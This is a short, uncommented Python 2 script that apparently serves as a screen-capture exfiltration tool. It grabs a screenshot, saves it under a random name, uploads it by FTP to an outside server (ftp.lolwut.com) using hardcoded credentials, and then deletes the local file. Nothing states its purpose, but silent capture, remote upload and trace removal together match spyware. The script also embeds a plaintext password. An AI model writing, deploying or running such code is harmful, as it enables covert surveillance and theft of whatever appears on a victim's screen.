import ImageGrab
import ftplib as ft
import os
import random
import string

chars = "".join( [random.choice(string.letters) for i in xrange(15)] )
name = 'screen' + chars + '.jpg'

img = ImageGrab.grab()
img.save(name,'JPEG')

server = 'ftp.lolwut.com'
username = 'lolwut'
password = 'pass123'

s = ft.FTP(server, username, password)

f = open(name,'rb')
s.storbinary('STOR '+name, f)

f.close()
s.quit()
os.remove(name)